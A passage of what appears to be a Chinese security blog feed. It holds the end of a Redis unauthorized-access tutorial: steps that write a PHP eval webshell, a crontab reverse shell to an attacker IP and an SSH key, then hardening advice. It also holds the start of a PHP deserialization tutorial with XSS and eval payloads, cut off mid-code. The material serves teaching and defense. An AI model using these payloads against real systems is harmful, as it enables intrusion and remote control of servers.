</span><span>/var/www/html</span></div></div><div><div><div>3</div></div><div><span>OK</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 设置文件名为 shell.php</span></div></div><div><div><div>6</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dbfilename</span><span> </span><span>shell.php</span></div></div><div><div><div>7</div></div><div><span>OK</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 3：写入一句话木马<a href="#step-3写入一句话木马"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 写入 Webshell</span></div></div><div><div><div>2</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>SET</span><span> </span><span>x</span><span> </span><span>"&lt;?php @eval(</span><span>\$</span><span>_POST['a'])?&gt;"</span></div></div><div><div><div>3</div></div><div><span>OK</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 4：保存并验证<a href="#step-4保存并验证"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 确认配置</span></div></div><div><div><div>2</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>GET</span><span> </span><span>dir</span></div></div><div><div><div>3</div></div><div><span>1</span><span>) </span><span>"dir"</span></div></div><div><div><div>4</div></div><div><span>2</span><span>) </span><span>"/var/www/html"</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>GET</span><span> </span><span>dbfilename</span></div></div><div><div><div>7</div></div><div><span>1</span><span>) </span><span>"dbfilename"</span></div></div><div><div><div>8</div></div><div><span>2</span><span>) </span><span>"shell.php"</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 保存</span></div></div><div><div><div>11</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>SAVE</span></div></div><div><div><div>12</div></div><div><span>OK</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>exit</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 5：访问 Webshell<a href="#step-5访问-webshell"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.68.132/shell.php</span></div></div><div><div><div>2</div></div><div><span>POST: a=phpinfo();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section><section><h3>3.4 利用方式三：Crontab 反弹 Shell<a href="#34-利用方式三crontab-反弹-shell"><span>#</span></a></h3><p><strong>原理：</strong> 在 Linux 的定时任务目录 <code>/var/spool/cron/</code> 中写入反弹 Shell 脚本。</p><section><h4>Step 1：攻击机开启监听<a href="#step-1攻击机开启监听"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>nc</span><span> </span><span>-lvvvp</span><span> </span><span>6666</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 2：连接 Redis 并写入反弹命令<a href="#step-2连接-redis-并写入反弹命令"><span>#</span></a></h4><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>192.168.68.132</span><span> </span><span>-p</span><span> </span><span>6379</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 写入反弹 Shell 命令（每分钟执行一次）</span></div></div><div><div><div>4</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>SET</span><span> </span><span>xxx</span><span> </span><span>"\n\n*/1 * * * * /bin/bash -i&gt;&amp;/dev/tcp/192.168.100.147/6666 0&gt;&amp;1\n\n"</span></div></div><div><div><div>5</div></div><div><span>OK</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 修改备份路径为 Crontab 目录</span></div></div><div><div><div>8</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dir</span><span> </span><span>/var/spool/cron</span></div></div><div><div><div>9</div></div><div><span>OK</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span># 设置文件名</span></div></div><div><div><div>12</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dbfilename</span><span> </span><span>root</span></div></div><div><div><div>13</div></div><div><span>OK</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span># 保存</span></div></div><div><div><div>16</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>SAVE</span></div></div><div><div><div>17</div></div><div><span>OK</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>⚠️ <strong>注意：</strong> 反弹 Shell 命令中的 IP 要改为<strong>攻击机的 IP</strong>！</p><hr /></section></section></section>
<section><h2>四、Redis 防御加固<a href="#四redis-防御加固"><span>#</span></a></h2><section><h3>4.1 设置访问密码（禁止未授权访问）<a href="#41-设置访问密码禁止未授权访问"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 编辑 Redis 配置文件</span></div></div><div><div><div>2</div></div><div><span>vi</span><span> </span><span>/etc/redis.conf</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 找到 requirepass，取消注释并设置密码</span></div></div><div><div><div>5</div></div><div><span>requirepass</span><span> </span><span>foobared</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>验证：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 连接后无法执行命令</span></div></div><div><div><div>2</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>192.168.68.132</span><span> </span><span>-p</span><span> </span><span>6379</span></div></div><div><div><div>3</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>GET</span><span> </span><span>dir</span></div></div><div><div><div>4</div></div><div><span>(</span><span>error</span><span>) </span><span>NOAUTH</span><span> </span><span>Authentication</span><span> </span><span>required.</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 需要先认证</span></div></div><div><div><div>7</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>AUTH</span><span> </span><span>foobared</span></div></div><div><div><div>8</div></div><div><span>OK</span></div></div><div><div><div>9</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>GET</span><span> </span><span>dir</span></div></div><div><div><div>10</div></div><div><span>1</span><span>) </span><span>"dir"</span></div></div><div><div><div>11</div></div><div><span>2</span><span>) </span><span>"/root"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.2 设置访问白名单<a href="#42-设置访问白名单"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 编辑 Redis 配置文件</span></div></div><div><div><div>2</div></div><div><span>vi</span><span> </span><span>/etc/redis.conf</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 修改 bind，限制仅允许指定 IP 访问</span></div></div><div><div><div>5</div></div><div><span>bind</span><span> </span><span>127.0.0.1</span><span> </span><span>192.168.1.100</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.3 其他加固建议<a href="#43-其他加固建议"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>以低权限运行</strong></td><td>不要以 root 用户运行 Redis</td></tr><tr><td><strong>修改默认端口</strong></td><td>将 6379 改为其他端口</td></tr><tr><td><strong>启用防火墙</strong></td><td>限制 6379 端口的访问来源</td></tr><tr><td><strong>定期更新</strong></td><td>升级到最新版本，修复已知漏洞</td></tr><tr><td><strong>使用非 root 用户</strong></td><td>创建专用用户运行 Redis</td></tr></tbody></table><hr /></section></section>
<section><h2>五、Redis 攻击工具<a href="#五redis-攻击工具"><span>#</span></a></h2>

<table><thead><tr><th>工具</th><th>地址</th><th>说明</th></tr></thead><tbody><tr><td><strong>redis-rogue-server</strong></td><td><a href="https://github.com/n0b0dyCN/redis-rogue-server" target="_blank">https://github.com/n0b0dyCN/redis-rogue-server</a></td><td>Redis RCE 利用工具</td></tr><tr><td><strong>redis-rce</strong></td><td><a href="https://github.com/Ridter/redis-rce" target="_blank">https://github.com/Ridter/redis-rce</a></td><td>Redis 远程命令执行工具</td></tr></tbody></table><hr /></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>漏洞检测<a href="#漏洞检测"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 扫描端口</span></div></div><div><div><div>2</div></div><div><span>nmap</span><span> </span><span>-p</span><span> </span><span>6379</span><span> </span><span>目标IP</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 尝试未授权连接</span></div></div><div><div><div>5</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>目标IP</span><span> </span><span>-p</span><span> </span><span>6379</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 如果可执行命令，则存在漏洞</span></div></div><div><div><div>8</div></div><div><span>192.168.x.x:6379</span><span>&gt; </span><span>INFO</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>写入 SSH 公钥流程<a href="#写入-ssh-公钥流程"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh-keygen</span></div></div><div><div><div>2</div></div><div><span>(</span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n\n"</span><span>; </span><span>cat</span><span> </span><span>id_rsa.pub</span><span>; </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n\n"</span><span>) &gt; </span><span>1.txt</span></div></div><div><div><div>3</div></div><div><span>cat</span><span> </span><span>1.txt</span><span> | </span><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>目标IP</span><span> </span><span>-x</span><span> </span><span>set</span><span> </span><span>crack</span></div></div><div><div><div>4</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>目标IP</span></div></div><div><div><div>5</div></div><div><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dir</span><span> </span><span>/root/.ssh</span></div></div><div><div><div>6</div></div><div><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dbfilename</span><span> </span><span>authorized_keys</span></div></div><div><div><div>7</div></div><div><span>SAVE</span></div></div><div><div><div>8</div></div><div><span>ssh</span><span> </span><span>-i</span><span> </span><span>id_rsa</span><span> </span><span>root@目标IP</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>写入 Webshell 流程<a href="#写入-webshell-流程"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>目标IP</span></div></div><div><div><div>2</div></div><div><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dir</span><span> </span><span>/var/www/html</span></div></div><div><div><div>3</div></div><div><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dbfilename</span><span> </span><span>shell.php</span></div></div><div><div><div>4</div></div><div><span>SET</span><span> </span><span>x</span><span> </span><span>"&lt;?php @eval(</span><span>\$</span><span>_POST['a'])?&gt;"</span></div></div><div><div><div>5</div></div><div><span>SAVE</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>反弹 Shell 流程<a href="#反弹-shell-流程"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 攻击机</span></div></div><div><div><div>2</div></div><div><span>nc</span><span> </span><span>-lvvvp</span><span> </span><span>6666</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># Redis</span></div></div><div><div><div>5</div></div><div><span>SET</span><span> </span><span>xxx</span><span> </span><span>"\n\n*/1 * * * * /bin/bash -i&gt;&amp;/dev/tcp/攻击机IP/6666 0&gt;&amp;1\n\n"</span></div></div><div><div><div>6</div></div><div><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dir</span><span> </span><span>/var/spool/cron</span></div></div><div><div><div>7</div></div><div><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dbfilename</span><span> </span><span>root</span></div></div><div><div><div>8</div></div><div><span>SAVE</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>防御加固<a href="#防御加固"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 设置密码</span></div></div><div><div><div>2</div></div><div><span>requirepass</span><span> </span><span>强密码</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 限制访问 IP</span></div></div><div><div><div>5</div></div><div><span>bind</span><span> </span><span>127.0.0.1</span><span> </span><span>允许的IP</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 以非 root 用户运行</span></div></div><div><div><div>8</div></div><div><span>useradd</span><span> </span><span>redis</span></div></div><div><div><div>9</div></div><div><span>su</span><span> </span><span>-</span><span> </span><span>redis</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/deserialization-vulnerability/</id>
      <title type="text">反序列化漏洞</title>
      <published>2026-09-27T15:02:00.000Z</published>
      <updated>2026-09-27T15:02:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/deserialization-vulnerability/"/>
      <summary type="text">从面向对象与序列化概念讲到 POP 链构造，含 Typecho 实战案例与 Java 反序列化生态梳理。</summary>
      <content type="html"><![CDATA[<section><h2>一、面向对象基础<a href="#一面向对象基础"><span>#</span></a></h2><section><h3>1.1 面向对象思想<a href="#11-面向对象思想"><span>#</span></a></h3><p><strong>万物皆对象</strong>，任何事物都可以看作对象。面向对象的思想是用<strong>对象</strong>来解决问题。</p>

<table><thead><tr><th>对比</th><th>面向过程</th><th>面向对象</th></tr></thead><tbody><tr><td>小餐馆</td><td>夫妻作坊，什么都自己做</td><td>—</td></tr><tr><td>大餐馆</td><td>—</td><td>餐饮公司，分工明确（厨师、服务员、收银员）</td></tr></tbody></table></section><section><h3>1.2 三大特性<a href="#12-三大特性"><span>#</span></a></h3><ul>
<li><strong>封装</strong>：隐藏内部实现细节</li>
<li><strong>继承</strong>：子类继承父类属性和方法</li>
<li><strong>多态</strong>：同一方法在不同对象上有不同表现</li>
</ul><hr /></section></section>
<section><h2>二、序列化与反序列化概念<a href="#二序列化与反序列化概念"><span>#</span></a></h2><section><h3>2.1 什么是序列化/反序列化？<a href="#21-什么是序列化反序列化"><span>#</span></a></h3>

<table><thead><tr><th>概念</th><th>说明</th></tr></thead><tbody><tr><td><strong>序列化</strong></td><td>将数据结构或<strong>对象</strong>转换成二进制串（或可传输格式）的过程</td></tr><tr><td><strong>反序列化</strong></td><td>将二进制串转换回数据结构或<strong>对象</strong>的过程</td></tr></tbody></table><p><strong>通俗理解：</strong></p><ul>
<li>序列化 = <strong>存档</strong>（将游戏进度保存到文件）</li>
<li>反序列化 = <strong>读档</strong>（从文件恢复游戏进度）</li>
</ul></section><section><h3>2.2 使用场景<a href="#22-使用场景"><span>#</span></a></h3>

<table><thead><tr><th>场景</th><th>说明</th></tr></thead><tbody><tr><td><strong>存储</strong></td><td>将对象从内存保存到硬盘（Session、缓存）</td></tr><tr><td><strong>传输</strong></td><td>跨语言/跨系统传输数据（如 API 传递对象）</td></tr><tr><td><strong>进程通信</strong></td><td>进程间/线程间传输二进制流</td></tr></tbody></table></section><section><h3>2.3 序列化格式<a href="#23-序列化格式"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>对象 → 序列化 → 中间格式（文本/JSON/XML/二进制）→ 反序列化 → 对象</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>三、PHP 序列化基础<a href="#三php-序列化基础"><span>#</span></a></h2><section><h3>3.1 序列化语法<a href="#31-序列化语法"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Student</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$name</span><span><span> </span><span>=</span><span> </span></span><span>"jack"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>public</span><span> </span><span>$age</span><span><span> </span><span>=</span><span> </span></span><span>18</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>public</span><span> </span><span>$address</span><span><span> </span><span>=</span><span> </span></span><span>"beijing"</span><span>;</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>$student</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>Student</span><span>();</span></div></div><div><div><div>9</div></div><div><span>$str</span><span><span> </span><span>=</span><span> </span></span><span>serialize</span><span>(</span><span>$student</span><span>);</span></div></div><div><div><div>10</div></div><div><span>echo</span><span> </span><span>$str</span><span>;</span></div></div><div><div><div>11</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>输出：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.2 序列化格式详解<a href="#32-序列化格式详解"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:7:"Student":3:{...}</span></div></div><div><div><div>2</div></div><div><span>│ │  │        │</span></div></div><div><div><div>3</div></div><div><span>│ │  │        └── 属性数量</span></div></div><div><div><div>4</div></div><div><span>│ │  └── 类名</span></div></div><div><div><div>5</div></div><div><span>│ └── 类名长度</span></div></div><div><div><div>6</div></div><div><span>└── 对象类型（Object）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>属性格式：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>s:4:"name";s:4:"jack";</span></div></div><div><div><div>2</div></div><div><span>│ │   │    │ │   │</span></div></div><div><div><div>3</div></div><div><span>│ │   │    │ │   └── 属性值</span></div></div><div><div><div>4</div></div><div><span>│ │   │    │ └── 属性值类型（s=字符串）</span></div></div><div><div><div>5</div></div><div><span>│ │   │    └── 属性值长度</span></div></div><div><div><div>6</div></div><div><span>│ │   └── 属性名</span></div></div><div><div><div>7</div></div><div><span>│ └── 属性名长度</span></div></div><div><div><div>8</div></div><div><span>└── 数据类型（s=字符串）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>类型标识符：</strong></p>

<table><thead><tr><th>标识</th><th>类型</th></tr></thead><tbody><tr><td><code>s</code></td><td>String</td></tr><tr><td><code>i</code></td><td>Integer</td></tr><tr><td><code>b</code></td><td>Boolean</td></tr><tr><td><code>a</code></td><td>Array</td></tr><tr><td><code>O</code></td><td>Object</td></tr><tr><td><code>N</code></td><td>NULL</td></tr><tr><td><code>d</code></td><td>Double</td></tr></tbody></table></section><section><h3>3.3 反序列化<a href="#33-反序列化"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>$str</span><span><span> </span><span>=</span><span> </span></span><span>'O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}'</span><span>;</span></div></div><div><div><div>3</div></div><div><span>$obj</span><span><span> </span><span>=</span><span> </span></span><span>unserialize</span><span>(</span><span>$str</span><span>);</span></div></div><div><div><div>4</div></div><div><span>var_dump</span><span>(</span><span>$obj</span><span>);</span></div></div><div><div><div>5</div></div><div><span>echo</span><span> </span><span>$obj</span><span>-&gt;</span><span>name</span><span>;  </span><span>// jack</span></div></div><div><div><div>6</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>四、PHP 魔术方法（关键）<a href="#四php-魔术方法关键"><span>#</span></a></h2><p>💡 这些魔术方法在特定操作时<strong>自动调用</strong>，是反序列化漏洞的<strong>核心入口</strong>。</p>

<table><thead><tr><th>魔术方法</th><th>触发时机</th></tr></thead><tbody><tr><td><code>__construct()</code></td><td>类<strong>实例化</strong>时自动调用</td></tr><tr><td><code>__destruct()</code></td><td>对象<strong>销毁</strong>时自动调用</td></tr><tr><td><code>__sleep()</code></td><td><strong>序列化</strong>（<code>serialize()</code>）时自动调用</td></tr><tr><td><code>__wakeup()</code></td><td><strong>反序列化</strong>（<code>unserialize()</code>）时自动调用</td></tr><tr><td><code>__toString()</code></td><td>对象被当作<strong>字符串</strong>使用时调用（如 <code>echo</code>、字符串拼接）</td></tr><tr><td><code>__invoke()</code></td><td>对象被当作<strong>函数</strong>调用时触发</td></tr><tr><td><code>__call()</code></td><td>调用<strong>不存在或不可访问</strong>的方法时触发</td></tr><tr><td><code>__get()</code></td><td>访问<strong>不存在或不可访问</strong>的属性时触发</td></tr><tr><td><code>__set()</code></td><td>设置<strong>不存在或不可访问</strong>的属性时触发</td></tr><tr><td><code>__isset()</code></td><td>对<strong>不存在或不可访问</strong>属性调用 <code>isset()</code> 时触发</td></tr><tr><td><code>__unset()</code></td><td>对<strong>不存在或不可访问</strong>属性调用 <code>unset()</code> 时触发</td></tr><tr><td><code>__clone()</code></td><td><strong>克隆</strong>对象时自动调用</td></tr></tbody></table><section><h3>4.1 __sleep() 和 __wakeup()<a href="#41-__sleep-和-__wakeup"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>People</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$name</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>public</span><span> </span><span>$age</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>public</span><span> </span><span>$address</span><span>;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__construct</span><span>(</span><span>$name</span><span>, </span><span>$age</span><span>, </span><span>$address</span><span>) {</span></div></div><div><div><div>8</div></div><div><span>        </span><span>$this</span><span>-&gt;</span><span>name</span><span><span> </span><span>=</span><span> </span></span><span>$name</span><span>;</span></div></div><div><div><div>9</div></div><div><span>        </span><span>$this</span><span>-&gt;</span><span>age</span><span><span> </span><span>=</span><span> </span></span><span>$age</span><span>;</span></div></div><div><div><div>10</div></div><div><span>        </span><span>$this</span><span>-&gt;</span><span>address</span><span><span> </span><span>=</span><span> </span></span><span>$address</span><span>;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>    </span><span>// 序列化时自动调用，指定需要序列化的属性</span></div></div><div><div><div>14</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__sleep</span><span>() {</span></div></div><div><div><div>15</div></div><div><span>        </span><span>return</span><span> </span><span>array</span><span>(</span><span>"name"</span><span>, </span><span>"age"</span><span>);  </span><span>// 只序列化 name 和 age</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>    </span><span>// 反序列化时自动调用，可修改属性值</span></div></div><div><div><div>19</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__wakeup</span><span>() {</span></div></div><div><div><div>20</div></div><div><span>        </span><span>$this</span><span>-&gt;</span><span>address</span><span><span> </span><span>=</span><span> </span></span><span>"BeiJing"</span><span>;   </span><span>// 反序列化后重新赋值</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>22</div></div><div><span>}</span></div></div><div><div><div>23</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><hr /></section></section>
<section><h2>五、反序列化漏洞原理<a href="#五反序列化漏洞原理"><span>#</span></a></h2><section><h3>5.1 核心原理<a href="#51-核心原理"><span>#</span></a></h3><p><strong>用户可控的输入</strong>被传入 <code>unserialize()</code>，攻击者构造恶意序列化数据，触发<strong>魔术方法</strong>中的危险操作（如 <code>eval</code>、文件操作、命令执行等）。</p></section><section><h3>5.2 Demo 1：存储文件可控 → XSS<a href="#52-demo-1存储文件可控--xss"><span>#</span></a></h3><div><figure><figcaption><span>Dog.php</span></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Dog</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$name</span><span><span> </span><span>=</span><span> </span></span><span>"labuladuo"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>// 写入序列化数据到文件</span></div></div><div><div><div>7</div></div><div><span>$dog</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>Dog</span><span>();</span></div></div><div><div><div>8</div></div><div><span>file_put_contents</span><span>(</span><span>"dog.txt"</span><span><span>,</span><span> </span></span><span>serialize</span><span>(</span><span>$dog</span><span>));</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>// 读取并反序列化</span></div></div><div><div><div>11</div></div><div><span>$data</span><span><span> </span><span>=</span><span> </span></span><span>file_get_contents</span><span>(</span><span>"dog.txt"</span><span>);</span></div></div><div><div><div>12</div></div><div><span>print_r</span><span>(</span><span>unserialize</span><span>(</span><span>$data</span><span>));</span></div></div><div><div><div>13</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>攻击：</strong> 修改 <code>dog.txt</code> 内容</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:3:"Dog":1:{s:4:"name";s:26:"&lt;script&gt;alert(1);&lt;/script&gt;";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>→ 反序列化时输出 XSS 代码 → 触发弹窗</p></section><section><h3>5.3 Demo 2：参数可控 → __wakeup() 触发 XSS<a href="#53-demo-2参数可控--__wakeup-触发-xss"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Cat</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$name</span><span><span> </span><span>=</span><span> </span></span><span>"波斯猫"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__wakeup</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>        </span><span>echo</span><span> </span><span>"开始加载存档......"</span><span>;</span></div></div><div><div><div>6</div></div><div><span>        </span><span>echo</span><span> </span><span>$this</span><span>-&gt;</span><span>name</span><span>;</span></div></div><div><div><div>7</div></div><div><span>        </span><span>echo</span><span> </span><span>"加载存档完成......"</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>$data</span><span><span> </span><span>=</span><span> </span></span><span>$_REQUEST</span><span>[</span><span>'data'</span><span>];</span></div></div><div><div><div>12</div></div><div><span>unserialize</span><span>(</span><span>$data</span><span>);</span></div></div><div><div><div>13</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Payload：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:3:"Cat":1:{s:4:"name";s:32:"&lt;img src='1' onerror='alert(1)'&gt;";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.4 Demo 3：__wakeup() 执行任意代码<a href="#54-demo-3__wakeup-执行任意代码"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Cat</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$name</span><span><span> </span><span>=</span><span> </span></span><span>"波斯猫"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__wakeup</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>        </span><span>eval</span><span>(</span><span>$this</span><span>-&gt;</span><span>name</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    